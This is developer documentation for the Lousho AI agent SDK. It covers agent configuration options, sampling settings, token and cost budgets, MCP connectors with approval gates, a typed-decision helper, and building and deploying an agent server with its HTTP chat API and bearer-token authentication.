| `projectInstructions` | `true` or `{ cwd?, files? }`: append the nearest `AGENTS.md` / `CLAUDE.md` to the instructions (off by default; see [Project instructions](#project-instructions)). |
| `retry` | `withRetry()` options for failed model calls, or `false`. Default `{ maxRetries: 2 }` for `model` strings, and the provider's own `maxRetries` (default 2) for a built-in or `fromAiSdk()` provider instance; any other `provider` instance is wrapped only when set. See [Provider retries and fallback](#provider-retries-and-fallback). |
| `fallbackModels` | `provider/model` strings tried in order when the model still fails after its retries. |
| `rateLimit` | `{ requestsPerMinute?, tokensPerMinute?, maxConcurrent? }` (or a `createRateLimiter()`): queue the agent's model calls, and its sub-agents' and handoff targets', under one budget. See [Rate limits](#rate-limits). |
| `hooks` | `AgentHook[]` run around every model call and tool call, in order, before the compaction hook (see [Hooks](/hooks)). |
| `compaction` | `true` (prune old tool results above 90% of the context window) or `{ strategy?, thresholdPercent?, contextWindow?, protectedTokens?, reserveOutputTokens?, onCompaction?, summarizer? }`; `summarizer` (`'provider/model'` or an `LLMProvider`) selects the two-phase strategy. `stream()` reports `compaction.start` / `compaction.done`. See [Context compaction](/compaction#compacting-an-agent). |
| `mcpServers` | MCP servers to connect, keyed by name (stdio `{ command, args?, env? }` or HTTP `{ url, headers? }`); their tools are named `<server>__<tool>` and ask for approval by default. `optional: true` leaves out a server that cannot connect. See [MCP](/mcp-integration#use-mcp-servers-in-an-agent). |
| `subagentOptions` | Background sub-agent options: `maxConcurrent` (default 3), `awaitBackgroundOnFinish` (default `false`) and `background: false` to offer only the `task` tool. See [Sub-agents](/sub-agents). |
| `codeMode` | `true` or `CodeModeOptions`: adds a `run_code` tool that lets the model call the agent's tools from one short script in a QuickJS sandbox. See [Code mode](/code-mode). |
| `guardrails` | Input, output and tool guardrails of each run; sub-agents inherit them. See [Guardrails](/guardrails). |
| `maxToolResultChars` | The most characters of one tool result the model gets (default `50_000`; `Infinity` turns the cap off). See [Tools](/tools). |
| `toolErrorMessage` | `(error, { toolName, toolCallId }) => string`: replaces the text of a thrown tool error before the model, events and hooks see it (default: the error's own message). See [Tools](/tools#errors). |
| `onAgentDrift` | What a resume does when the agent differs from the one that paused the run: `'warn'` (default), `'error'` or `'ignore'`. See [Durable execution](/durable-execution#resuming-with-a-changed-agent). |
| `reasoning` | How much the model reasons before it answers: an effort, or `{ effort, budgetTokens, summary, force }`. See [Reasoning](/reasoning). |
| `promptCaching` | `'auto'` (default) marks Anthropic `cache_control` breakpoints for Claude models; `false` marks none. See [Prompt caching](/models-and-cost#prompt-caching). |
| `output` | A schema for the final reply; `send()` / `stream()` resolve with `result.object`. See [Structured output](/structured-output). |
| `onEvent` | Called with every `AgentEvent` of the agent's runs, in the order `stream()` yields them. See [Listening without iterating](/streaming#listening-without-iterating). |
| `exporter`, `captureContent`, `redactContent` | Tracing: a `TraceExporter` that receives a span for every run, whether message and tool content is recorded on the spans (off by default), and whether the deprecated content attributes are left out (default `true`). See [Observability](/observability#message-and-argument-content-is-opt-in). |
| `approvalTtlMs` | How long a pause for approval stays decidable, in milliseconds; decided later, the call is denied. Unset: pauses never expire. See [Approval expiry](/approvals#approval-expiry). |
| `askQuestion` | Adds the built-in `ask_question` tool; the run pauses until `agent.approvals.answer()`. Off by default. See [Asking the user a question](/approvals#asking-the-user-a-question). |
| `permissions`, `permissionMode` | Permission rules (`allow` / `ask` / `deny`) and a named preset over them (`'default'`, `'plan'`, `'acceptEdits'` or `'dontAsk'`). See [Permission policies](/approvals#permission-policies) and [Permission modes](/permission-modes). |
| `onPermissionDecision`, `onPermissionModeChange` | Audit callbacks: one entry per tool call's permission decision, and one per mode switch. See [Permission modes](/permission-modes). |

With neither `model` nor `provider`, `createAgent()` resolves from the
environment: `LOUSHO_MODEL` (a `'provider/model'` string) if set, otherwise
the first provider whose variable is set, checked in this order:
`OPENAI_API_KEY` (`openai/gpt-4o-mini`), `ANTHROPIC_API_KEY`
(`anthropic/claude-sonnet-4-5`), `OPENROUTER_API_KEY`
(`openrouter/openai/gpt-4o-mini`), `OLLAMA_BASE_URL` (`ollama/llama3`). If none
is set it throws an error listing exactly which options or variables fix it.

Misconfiguration errors say how to fix themselves: a missing key names the
variable (`createAgent: OPENAI_API_KEY is not set. ...`), an unknown prefix
lists the supported ones and suggests the closest, and a missing optional peer
dependency prints the exact `npm install` command.

An option `createAgent()` does not know is an error (`LOUSHO_CONFIG_INVALID`),
not silently ignored, so a typo fails from JavaScript or YAML too.
The message suggests the closest option, or the Lousho name for one other SDKs
use: `'maxOutputTokens' is not a known option (did you mean 'modelSettings.maxTokens'?)`,
and `system` points to `instructions`. A key set to `undefined` is ignored, and
the `manifest` of a spread `claudeProject()` result is accepted.

## Model settings

`modelSettings` sets the sampling options of every model call an agent makes.
A `send()` or `stream()` call can pass its own, which win key by key over the
agent's:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  modelSettings: { maxTokens: 1024, temperature: 0.2 },
});

// This run sends maxTokens: 256 and temperature: 0.2.
await agent.send('Summarize the log in one line.', { modelSettings: { maxTokens: 256 } });
```

The keys are `maxTokens`, `temperature`, `topP`, `frequencyPenalty`,
`presencePenalty`, `stop`, `seed` and `toolChoice` (`'auto'`, `'required'`, `'none'` or `{ type: 'function', function: { name } }`; not sent on a call without tools). A key you leave out is not sent at all,
so the provider's own default applies, and so does a value that a wrapping
provider adds to the request. Sub-agents and handoff targets use their own
`modelSettings`, not the lead's. An agent directory can set the same object as
`modelSettings` in its `agent.json`.

The values are checked before any model call, at `createAgent()` and at each
`send()` / `stream()`: `temperature` 0 to 2, `topP` 0 to 1, `frequencyPenalty`
and `presencePenalty` -2 to 2, `maxTokens` a whole number of at least 1, `seed`
a whole number, `stop` an array of strings. A value out of range, or an unknown
key (such as the AI SDK's `maxOutputTokens`), throws a `ConfigurationError`
with code `LOUSHO_CONFIG_INVALID` whose `field` names the key, e.g.
`modelSettings.temperature`. A provider with a narrower range (Anthropic's
`temperature` is 0 to 1) still rejects a value outside it.

### Per-call options

Besides `modelSettings`, a `send()` or `stream()` call can set its own
`maxSteps` (instead of the agent's; a whole number of at least 1, checked like
`createAgent`'s) and `instructions`, which are appended to the agent's
instructions for that run:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini', instructions: 'You triage support tickets.' });
await agent.send('Summarize the ticket.', { maxSteps: 2, instructions: 'Answer in French.' });
```

The appended `instructions` go with every model call of the run (a handoff
target's too) but are not written to the transcript, so a later call with the
same `sessionId` runs without them unless it passes them again. A run continued
by `agent.approvals.resolve()` or `agent.resume()` uses the agent's `maxSteps`
and instructions.

To share options between agents, type them as `CreateAgentBase` and spread
them into `createAgent()`. Do not use `Partial<CreateAgentConfig>`: that type
keeps `model` / `provider` and `instructions` / `prompt` mutually exclusive,
so TypeScript rejects spreading it next to a literal that sets one of them.

```ts theme={null}
import { createAgent, type CreateAgentBase } from '@lousho/build-ai-agent';

const shared: CreateAgentBase = { maxSteps: 8, modelSettings: { temperature: 0 } };

function triageAgent(overrides: Partial<CreateAgentBase> = {}) {
  return createAgent({ model: 'openai/gpt-4o-mini', instructions: 'Triage the incident.', ...shared, ...overrides });
}
```

## Budgets

`limits` caps what a run may spend. Set it on `createAgent()` (every run of the
agent) or on `AgentExecutor.execute()` / `stream()`:

| Limit | Counts |
| - | - |
| `maxTokens` | Prompt plus completion tokens of the run (`usage.totalTokens`). |
| `maxInputTokens` | Prompt tokens (`usage.inputTokens`). |
| `maxOutputTokens` | Completion tokens (`usage.outputTokens`). |
| `maxCostUsd` | USD (`usage.costUsd`): the cost the provider reported for each call (OpenRouter's `usage.cost`), else the [price table](/models-and-cost#models-and-the-price-table) estimate. Not checked while a model used has unknown pricing (`costUsd` is `undefined`); a warning is logged once. |
| `maxDurationMs` | Wall-clock time of the `execute()` / `stream()` call. |
| `maxToolErrors` | Tool calls that ended in an error result (`result.toolErrors`, see [Tools](/tools#failed-calls-in-the-result)). The run stops before its next model call once that many have failed. Counted per run, also on `agent.session({ limits })` (each turn's own). |
| `maxSteps` | Model steps. An alias of the `maxSteps` option: when both are set the stricter wins (the option's tie reports `'max-steps'`); alone, it replaces the default of 10. With `output` set, running out of it makes the same forced answer call as `maxSteps` ([Structured output](/structured-output#out-of-steps)); the run still ends `'budget-exceeded'`, with `object` when the answer validated. |

Limits are checked before every model call (so after every tool batch) and
after a model call that asks for tools; `maxDurationMs` also aborts an
in-flight model or tool call through the run's signal. A limit trips once the
run reaches it. A run that finishes on its own within the step that reached a
limit keeps its own finish reason, like `maxSteps`.

**Sub-agents share their lead's budget.** Usage of sub-agents counts toward
their lead's limits, and a sub-agent is held to them while it runs: before each
of its model calls (and after a model call that asks for tools) it checks the
lead's token, cost and duration limits against what the lead, the lead's other
sub-agents still running, and it itself have spent - on top of its own
`limits`. Once they are reached the sub-agent stops with `'budget-exceeded'`
(always `'stop'`; the lead's `onExceeded` decides how the lead ends), the
`task` call reports `Sub-agent '<name>' stopped at the <limit> limit`, and the
lead stops before its next model call. Parallel sub-agents can still go over by
the model calls they had in flight when the limit was reached (at most one
each), not by a whole run each. A nested sub-agent is held to every lead above
it. A sub-agent resumed after an approval is held to its own limits only.

A spend limit (tokens, cost, duration) is a hard stop: a run with `output`
that reaches one makes no forced answer call (that call would spend past the
limit), so `result.object` is unset. What the run's tool calls returned before
the limit tripped - finished sub-agents' answers included - stays in
`result.messages` as tool results. Only running out of steps (`maxSteps` or
`limits.maxSteps`) gets the forced answer call.

When a limit trips, the run stops with `finishReason: 'budget-exceeded'` and
`result.budget` (`{ limit, value, max, scope }`). Tool calls the model asked
for in that step get a "cancelled" result, so the transcript stays valid, and
with a checkpoint store it is checkpointed as finished, like `'max-steps'`.
`stream()` emits a `budget.exceeded` event before `run.done`. With
`onExceeded: 'throw'` the run rejects with `BudgetExceededError`
(`LOUSHO_BUDGET_EXCEEDED`, with the same `budget`) instead.

```ts theme={null}
import { BudgetExceededError, createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  provider,
  limits: { maxTokens: 50_000, maxCostUsd: 0.25, maxDurationMs: 60_000 },
});
const result = await agent.send('Research this thoroughly');
if (result.finishReason === 'budget-exceeded') {
  console.warn(`Stopped by ${result.budget?.limit}: ${result.budget?.value} of ${result.budget?.max}`);
}

try {
  await createAgent({ provider, limits: { maxCostUsd: 0.01, onExceeded: 'throw' } }).send('Go');
} catch (error) {
  if (error instanceof BudgetExceededError) console.error(error.budget);
}
```

**Run and session limits.** `createAgent({ limits })` applies to each run on
its own: every `send()`, and every turn of a session, starts from zero.
`agent.session({ id, limits })` adds limits across all of the session's turns:
a turn stops once what the session has spent, in all its turns, reaches a
limit (`budget.scope` is then `'session'`), and later turns stop before calling
the model. What the turns spent (tokens, cost, steps and run time) is saved with
the transcript, as `metadata.sessionUsage` on its last message, so a session
continued from its store keeps its budget. Both apply together; the first limit
reached stops the turn. A turn that was aborted is not counted.

```ts theme={null}
import { createAgent, memoryStore } from '@lousho/build-ai-agent';

const agent = createAgent({ provider, store: memoryStore(), limits: { maxTokens: 20_000 } });
const session = agent.session({ id: 'user-42', limits: { maxCostUsd: 1 } });
const reply = await session.send('Hello');
if (reply.budget?.scope === 'session') console.log('This conversation used up its budget.');
```

## Project instructions

Many repositories keep guidance for coding agents in an `AGENTS.md` (or
`CLAUDE.md`) file. `createAgent` can append it to the agent's instructions:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  instructions: 'You review pull requests.',
  provider,
  projectInstructions: true, // or { cwd: './packages/api', files: ['AGENTS.md'] }
});
```

The file is added after your own instructions under the heading
`## Project instructions (from AGENTS.md)`. It is read once, when the agent is
created. The lookup walks up from `cwd` (default `process.cwd()`) and uses the
nearest directory that has one of `files` (default `['AGENTS.md', 'CLAUDE.md']`,
first match wins), stopping at the nearest directory that contains `.git` or at
the filesystem root. Content over 32,000 characters is cut with a truncation
marker. If no file is found nothing is added.

This is **opt-in** on purpose: reading files from disk by default would surprise
people who embed the SDK in a server, where the working directory is not the
project the agent is about. To find the file yourself (for example to show it),
use `loadProjectInstructions({ cwd, files, stopAt, maxChars })`, which returns
`{ path, content }` or `undefined`.

## `AgentExecutor.execute()` options

The options of `AgentExecutor.execute()`, the lower-level entry point, are listed on [the executor API page](/executor-api#options-of-agentexecutor-execute).

## CLI

`lousho dev`, `lousho build`, `lousho mcp` and the other commands, with their
flags, are described in [CLI](/cli); `lousho mcp` is also covered in [MCP](/mcp-integration#from-the-command-line).


# Connectors
Source: https://lousho.com/connectors



Connectors are how the agent reaches external services — Google Docs, Slack,
GitHub, Notion, a database — the way Claude's connectors do. In Lousho a
connector is an **MCP server**: add it to `mcpServers` and its tools join the
agent's registry namespaced as `<server>__<tool>`.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  model: 'openrouter/openai/gpt-4o-mini',
  mcpServers: {
    slack: { url: 'https://mcp.slack.com/mcp', oauth: { redirectUri: 'https://app.example.com/oauth/callback' } },
    github: { url: 'https://api.githubcopilot.com/mcp/', headers: { Authorization: `Bearer ${process.env.GITHUB_TOKEN}` } },
  },
});
```

## Two shapes

* **Remote (HTTP)** — `{ url, headers?, oauth? }`. This is what Google Docs,
  Slack, Notion and most Claude-style connectors are: a hosted MCP endpoint.
* **Local (stdio)** — `{ command, args?, env? }`. Community and in-house
  connectors shipped as npm packages: `{ command: 'npx', args: ['-y', 'their-mcp-server'] }`.

The full option reference is in [MCP](/mcp-integration); OAuth sign-in flow in
[OAuth](/oauth#mcp-servers-with-oauth).

## Auth

* **OAuth connectors** (Slack, Google Docs, Notion): set `oauth` on the server
  entry. One *operator* signs the agent in once via
  `agent.oauth.mcpSignInUrl('slack')`; the grant belongs to the app and every
  run reuses it. A token `store` on `createAgent` keeps grants durable.
* **Token connectors** (GitHub PAT, internal APIs): pass a static
  `Authorization` header; keep the token in env, never in source.
* **stdio connectors**: secrets go in `env`, e.g.
  `{ command: 'npx', args: [...], env: { GITHUB_TOKEN: process.env.GITHUB_TOKEN! } }`.

## Approval for connector writes

Reads should run free; writes should ask. By default every MCP tool asks
(`approval: 'always'`). MCP tools carry `readOnlyHint`/`destructiveHint`
annotations, and `approval: 'annotations'` on a server you trust turns those
into the SDK's approval gate: a `slack.post_message` pauses the run until
approved, `docs.get_document` does not. Tune it per server:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const provider = mockModel([{ text: 'ok' }]);

const agent = createAgent({
  provider,
  mcpServers: {
    slack: {
      url: 'https://mcp.slack.com/mcp',
      // Ask before any write, never before reads whose server marked them read-only.
      approval: 'annotations', // trust the server's hints (default 'always'); or ({ name }) => !name.startsWith('search')
    },
    scratch: { command: 'node', args: ['./local.js'], approval: 'never' },
  },
});
```

[Permission rules](/approvals#permission-policies) can gate connector tools
too — `mcp.slack.*` matchers apply to the namespaced tool names.

## Try it offline

[examples/connectors](/examples/connectors) runs the whole pattern against
a mock stdio MCP server (written with `serveMcp`) — fake `docs_*`/`slack_*`
tools, no credentials, real MCP round-trip. Swap the `mcpServers` entry for a
real endpoint and nothing else changes.

## Serving your own connector

`serveMcp()` (see [MCP](/mcp-integration#serve-an-agent-over-mcp)) exposes an agent
or a set of `defineTool()` tools as a stdio/HTTP MCP server — that is how a
Lousho agent *becomes* a connector for Claude Code or another harness.


# Decisions
Source: https://lousho.com/decisions



`decide()` calls the OpenAI Decisions API (`POST /v1/decisions`): a purpose-built endpoint that evaluates shared input against typed questions and returns calibrated answers roughly 10x faster than a full model turn. It is the fast, deterministic shape for the typed-decision pattern — classify, route, gate, score — without spinning up an agent run.

Public beta: `gpt-6-luna` is the only model the endpoint serves, and the surface may still change. The endpoint is not part of chat completions, so it does not go through `createAgent()` providers or OpenRouter — it needs `OPENAI_API_KEY` (or `apiKey`/`baseURL` for a compatible endpoint).

```ts theme={null}
import { decide } from '@lousho/build-ai-agent';

const { answers } = await decide({
  input: 'I was charged twice for my order.',
  questions: [
    {
      type: 'choice',
      name: 'route',
      instructions: 'Which team should handle this complaint?',
      choices: [
        { value: 'billing', description: 'Payments, invoices, and refunds.' },
        { value: 'technical', description: 'Problems using the product.' },
        { value: 'other', description: 'Anything else.' },
      ],
    },
  ],
});

const route = answers[0];
if (route.type === 'choice' && route.confidence >= 0.7) {
  console.log(`routing to ${route.choice}`); // routing to billing
}
```

## Question types

```ts theme={null}
import { decide, type DecisionQuestion } from '@lousho/build-ai-agent';

const questions: DecisionQuestion[] = [
  // predicate: probability 0-1 that a condition holds
  { type: 'predicate', name: 'is_spam', instructions: 'Is this message spam?' },
  // choice: one of a fixed unordered set
  {
    type: 'choice',
    name: 'route',
    instructions: 'Which team?',
    choices: [
      { value: 'billing', description: 'Payments and refunds.' },
      { value: 'shipping', description: 'Delivery and tracking.' },
    ],
  },
  // score: probability-weighted position across ordered levels
  {
    type: 'score',
    name: 'severity',
    instructions: 'How severe is this issue?',
    levels: [
      { label: 'Cosmetic', description: 'Appearance only.' },
      { label: 'Workaround available', description: 'Fails, but another way works.' },
      { label: 'Fully blocked', description: 'Fails with no workaround.' },
    ],
  },
];
```

* **predicate** answers carry `probability` — use a threshold (`probability >= 0.9`) where a wrong "yes" is expensive.
* **choice** answers carry `choice`, per-option `probabilities` and `confidence`. Include a fallback option like `'other'` when your categories don't cover every input.
* **score** answers carry `score` (a weighted index that can fall between levels), per-level `probabilities` and `confidence`. Define levels lowest→highest with distinct criteria.
* Any question can come back `{ type: 'refusal' }` — handle it as your "send to review" path.

Independent questions share one `input` and one request:

```ts theme={null}
import { decide, type DecisionQuestion } from '@lousho/build-ai-agent';

const questions: DecisionQuestion[] = [
  { type: 'predicate', name: 'is_spam', instructions: 'Is this spam?' },
  {
    type: 'choice',
    name: 'route',
    instructions: 'Which team?',
    choices: [{ value: 'billing' }, { value: 'shipping' }],
  },
];

const userMessage = 'I was charged twice for my order.';
const { answers } = await decide({ input: userMessage, questions });
const byName = Object.fromEntries(answers.map((a) => [a.name, a]));
```

`input` also takes message form with inline base64 images (`{ type: 'input_image', image_url: 'data:...' }`) for visual checks like damage inspection; hosted image URLs and `file_id` are not supported.

## Options

```ts theme={null}
import { decide } from '@lousho/build-ai-agent';

const result = await decide({
  input: '...',
  questions: [{ type: 'predicate', name: 'relevant', instructions: 'Is this relevant?' }],
  model: 'gpt-6-luna',                    // default; currently the only served model
  apiKey: process.env.OPENAI_API_KEY,     // default: OPENAI_API_KEY
  baseURL: 'https://api.openai.com/v1',   // override for a compatible endpoint
  timeoutMs: 30_000,                      // request timeout; also accepts `signal`
});
```

Failures are `SDKError`s: missing key is `LOUSHO_PROVIDER_MISSING_API_KEY`, a `429` is `LOUSHO_PROVIDER_RATE_LIMITED`, other HTTP or malformed responses are `LOUSHO_PROVIDER_REQUEST_FAILED`, and aborts/timeouts are `LOUSHO_OPERATION_TIMEOUT`.

## When to use what

* **`decide()`** — a typed answer about one input: routing, filtering, severity, confidence gates. Fast and calibrated, but no prose and no tools.
* **[Structured output](/structured-output)** (`createAgent({ output })`) — when you need your own JSON schema: extracted fields, a written explanation, or an object shaped like your domain. Works on any provider, including strict structured-output endpoints (see [Schema limits](/structured-output#schema-limits)).
* **[Sub-agents](/sub-agents)** or [flows](/flows) — when the decision needs tools or multi-step reasoning before it answers.

The [coding-agent-workflows example](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/coding-agent-workflows) shows the same route/confidence/floor pattern built on `output` schemas — swap its triage step for `decide()` when you are on OpenAI and want the dedicated endpoint. [Prompting techniques](/prompting-techniques#typed-decisions-system-one-style) places both forms in the wider typed-decision catalog.


# Deployment
Source: https://lousho.com/deployment



`lousho build` turns an agent spec file (see [Configuration](/configuration))
into a deployable artifact for one target platform:

```bash theme={null}
npx lousho build --target=<target> --agent=agent.yaml [--out=<dir>]
```

It runs the target's adapter through three steps - **scaffold** (write the
entrypoint and platform files into `--out`, default `.lousho/build/<target>`),
**build** (bundle with `tsup`) and **describe** (print the command to run or
deploy the result). `tsup` must be installed (`npm install --save-dev tsup`).

| Target | Output | Printed command |
| - | - | - |
| `node-server` | `server.ts`, `agent.config.js`, `package.json`, `dist/server.js` | `node dist/server.js` |
| `docker` | everything `node-server` writes, plus `Dockerfile` | `docker build -t lousho-agent . && docker run -p 3000:3000 -e LOUSHO_API_TOKEN=<token> lousho-agent` |
| `cloudflare-worker` | `worker.ts`, `agent.config.js`, `wrangler.toml`, `dist/worker.js` | `wrangler deploy` |

Every target answers `GET /health` (`200 ok`) and serves the full
[HTTP API](#http-api) below: sessions, SSE streaming, approvals and bearer auth.

For a real VPS walkthrough — provision check, build, ship, run, verify — see
[Deploying to a Hostinger VPS](/hostinger-vps).

## Agent directories

All three targets also take an [agent directory](/agent-directories)
in place of a spec file (the path may be positional or `--agent`):

```bash theme={null}
npx lousho build ./my-agent --target=node-server
node .lousho/build/node-server/dist/server.js
```

The generated `server.ts` calls `resolveAgentDir()` on `dist/agent` and
`createDeployedServer(agent, { schedules, channels })`, so the process starts the
directory's [schedules](/schedules) when it listens, mounts its
[channels](/channels) under `/channels` (they verify themselves; the chat
routes keep the bearer token), and logs `schedules: ...; channels: ...`.
The directory's code files are pre-bundled with the build's tsup step into
`dist/agent/**.js` (one ESM build sharing one copy of the SDK, so a `from
'@lousho/build-ai-agent'` import in a tool is the SDK the server runs), and
only the files the server reads as data are copied: `instructions.md`,
`instructions/`, `skills/`, a JSON/YAML config, and the same in each
`subagents/<name>/`. Nothing else in the directory reaches `dist/`: not `.env`
files, not the `.lousho/` session store or a config's `store.dir`, not notes or
data files. `dist/` is emptied before each build, so sessions a previous build's
server wrote under it do not carry over. Nothing needs a TypeScript loader at
run time. `dist/` is then ESM (`dist/package.json` says so). The Docker image
copies it as before. The optional `dockerode` sandbox is not bundled (it loads lazily), so a
directory that uses `SubprocessSandbox` must install it where it runs.

The Cloudflare Worker target builds a directory's config, `instructions.md`,
`tools/`, `skills/`, `subagents/`, `schedules/` (as Worker cron triggers),
`channels/`, `memory/` and `projectInstructions`; it rejects a `model` whose
provider the Worker lacks, and the other features the Worker column of
[What works and what does not](/cloudflare-workers#what-works-and-what-does-not)
leaves out, naming what to remove. Tools run inside the Worker with its rights, and may import
only a Worker-safe part of `@lousho/build-ai-agent`
([Cloudflare Workers](/cloudflare-workers#build-and-deploy) has the details):

```bash theme={null}
npx lousho build ./my-agent --target=cloudflare-worker
```

## Agent modules

The `node-server` and `docker` targets also build a `.ts`/`.js` module whose
default (or `agent`) export is `createAgent()` options or a built agent: the
same file `lousho dev src/agent.ts` serves, and what the minimal and tools
scaffolds have (their `npm run build` runs this):

```bash theme={null}
npx lousho build src/agent.ts --target=node-server
node .lousho/build/node-server/dist/server.js
```

The generated `server.ts` imports the module, so tsup bundles it with its local
imports and the SDK into an ESM `dist/server.js`. With an options export the
server builds the agent with `LOUSHO_STORE` (unless the options name a
`store`); an exported agent keeps its own. The build's `package.json` names
the provider package when the module has a literal `model: '<provider>/...'` or
names an SDK provider class (`new OpenRouterProvider(...)`); only the entry file
is scanned, and the build warns when it finds no provider. Add any other
optional peer it needs to `dependencies` yourself. The `cloudflare-worker` target
does not build a module: use a spec or an agent directory.

## HTTP API

Every target serves the same `/chat` protocol as `lousho dev`
([CLI](/cli#lousho-dev)), from the same code (the Fetch-native
`src/server/fetchRoutes.ts`, which the Node server and the Worker both call), so
a page or script written against the dev server works against the deployed one.

| Endpoint | What it does |
| - | - |
| `GET /health` | `200 ok`. Liveness: the process is up. Never needs auth: point load balancers and container health checks here. |
| `GET /ready` | Readiness (`node-server` and `docker` only): `200 {"status":"ready"}` while the server takes traffic, `503 {"status":"draining"}` once a graceful shutdown (SIGTERM) has begun. Never needs auth, and the body carries no detail. Point a Kubernetes `readinessProbe` or a load balancer here, and keep `livenessProbe` and the Docker `HEALTHCHECK` on `/health`. It does not probe the session store (the store interface has no cheap check). |
| `POST /chat` `{ "sessionId", "input" }` | Runs a turn of session `sessionId` (1-128 characters of `A-Za-z0-9_-`; a new id starts a conversation, a known one continues it) and streams it as SSE: one `data: <AgentEvent JSON>` per event ([Streaming](/streaming)), then `event: done`. `input` is a string or an array of content parts. |
| `GET /chat/:sessionId` | The session's transcript: `{ sessionId, messages, pending }`. A turn's messages are saved when it finishes, so `messages` does not hold a turn that is paused on an approval; `pending` says it is. |
| `POST /chat/:sessionId/approvals/:id` `{ "approved", "note"? }` or `{ "answer" }` | Decides a pending tool approval, or answers an `ask_question`, and streams the continued turn live as SSE, in the same framing and event types as `POST /chat` (the decided call's `tool.resume` / `tool.done` or `tool.error`, text deltas, `approval.requested` if it pauses again, `run.done`), from `agent.approvals.streamResolve()` / `streamAnswer()`. `404` when `id` is not pending; `409` (`LOUSHO_APPROVAL_CONFLICT`) while another request's decision of it is still streaming; `400` (`LOUSHO_APPROVAL_DECISION_INVALID`) for a body with neither field. When the turn's step paused on several calls, each id is decided on its own; a decision that leaves others pending streams `run.done` with `finishReason: 'awaiting-approval'`, and the last one runs the step. |
| `POST /chat` `{ "message" }` | Legacy, single turn without history or streaming: returns the agent's `ExecutionResult` as JSON, with a `Deprecation: true` header. |

Bodies over 1MB get `413`, invalid JSON `400`. A POST must send
`Content-Type: application/json` (anything else is `415`,
`LOUSHO_UNSUPPORTED_MEDIA_TYPE`), and a browser POST from another origin is
`403` (`LOUSHO_REQUEST_FORBIDDEN`): see
[Cross-site requests](/auth#cross-site-requests). An empty `input`, or a
body without `sessionId` and `input`, is `400` (`LOUSHO_REQUEST_INVALID`; an
invalid session id is `LOUSHO_SESSION_ID_INVALID`). Every error body is JSON
`{ error, code }`. A turn sent to a session that is paused on an approval is
`409` with `code: 'LOUSHO_SESSION_AWAITING_APPROVAL'`, `approvalId` and
`approvalIds` (every approval still to decide): decide them through the
approvals route, which streams the paused turn's continuation, then send the
new turn. A turn sent to a session that another process or replica is running a
turn of (it holds the session's run lease) is `409` with
`code: 'LOUSHO_SESSION_BUSY'` and a `Retry-After: 2` header, answered before
any stream starts; resend after the wait. With an auth list, a session belongs to the first principal that sends
it a turn, and a stored session whose owner the server no longer remembers
(after a restart) is refused to everyone until `authorizeSession` says whose
it is; with only `LOUSHO_API_TOKEN` there is one caller and no owner check
([Who may use a session](/auth#who-may-use-a-session)). An approval is
decided only by the caller its run acts for unless `authorizeApproval` says
otherwise. In an agent directory, export `authorizeSession` and
`authorizeApproval` from `auth.ts` to change either rule (for example, to let
a manager decide other users' approvals): see
[Who may decide an approval](/auth#who-may-decide-an-approval).

While a turn streams, the server writes an SSE comment line (`: ping`) after
every 15 seconds without an event, so a proxy (nginx closes an idle upstream
after 60s) or a client (Node's `fetch` gives up after 300s without a byte)
keeps the connection while a model or a tool is slow. SSE parsers ignore
comment lines. `createRouteHandler(agent, { heartbeatMs })` changes the
interval; `0` turns it off.

```bash theme={null}
curl -N http://127.0.0.1:3000/chat \
  -H 'Authorization: Bearer '"$LOUSHO_API_TOKEN" -H 'Content-Type: application/json' \
  -d '{ "sessionId": "alice", "input": "Hello" }'
```

### Resending a turn

A `POST /chat` that the client sends again (a retry after a dropped
connection or a timeout, a double click, a client that restarted) is, without
more, a new turn: the user message is appended again and the model may call
the same tools again. Send an `Idempotency-Key` header (1-255 visible ASCII
characters, e.g. a UUID the client makes per message) and resend with the
same key:

| The turn of that key in that session | The resend gets |
| - | - |
| finished (it is in the transcript) | `200` SSE with one `run.done` carrying that turn's final reply (`text`, `finishReason`), and the header `Idempotent-Replayed: true`. Nothing runs. Read `GET /chat/:sessionId` for the whole turn. |
| still running, on this server process or on another replica that shares the store | `409` (`LOUSHO_SESSION_BUSY`) with `Retry-After: 2`. Retry after the wait and get the replay. |
| interrupted by a crash (a checkpointed turn left `in-progress`) | the turn resumed from its last checkpoint (`session.resume()`: finished steps and tool calls are not run again), streamed as SSE. |
| none | a new turn, as without the header; its user message keeps the key (`metadata.idempotencyKey`). |

A session paused on an approval answers `409`
(`LOUSHO_SESSION_AWAITING_APPROVAL`) to a resend as to any turn. The key is
stored with the turn in the session store (the transcript, or the turn's
checkpoint until it finishes), so a replay works after a restart and on another
replica that shares the store; `session.pending()` reports an interrupted
turn's key as `idempotencyKey`. A key is looked up only in its own session,
and only while its turn is in the transcript (a compaction that summarizes it
away forgets it). Across replicas the `409` rests on the session's run lease, so it needs a
store that supports leases; two replicas that receive the same key at the same
instant on a store without them can both run it.

```bash theme={null}
curl -N http://127.0.0.1:3000/chat -H 'Content-Type: application/json' \
  -H 'Idempotency-Key: 6f1c2b0e-7d4a-4c8e-9a51-2f0d3b6e8c11' \
  -d '{ "sessionId": "alice", "input": "Refund order B-1" }'
```

### Auth

Set `LOUSHO_API_TOKEN` (on the Worker target, as a secret: `npx wrangler secret
put LOUSHO_API_TOKEN`) and the `/chat` routes and any channel without its
own `verify` require `Authorization: Bearer <token>`; anything else gets `401`
with a JSON error (the token is compared in constant time). `/health` is
open, and channels that authenticate themselves (a `verify` function, or a
platform signature check such as Slack's) are not gated by the token. Without it the server is open: that
is fine on `127.0.0.1`, but on any other interface the built `node-server`
(and so the `docker` image, which listens on `0.0.0.0`) **refuses to start**
with no auth: it exits with
[`LOUSHO_SERVER_UNPROTECTED`](/errors#lousho_server_unprotected). Set
`LOUSHO_API_TOKEN`, add an [`auth.ts`](/auth), or bind to `127.0.0.1`. To
serve an open agent on a public interface on purpose (a private network, auth
at a proxy in front), set `LOUSHO_ALLOW_PUBLIC=1`: the server then starts and
logs a warning instead.
Terminate TLS in front of the server, since a bearer token travels in clear
text over plain HTTP. Pass the token at run time (`docker run -e
LOUSHO_API_TOKEN=...`).

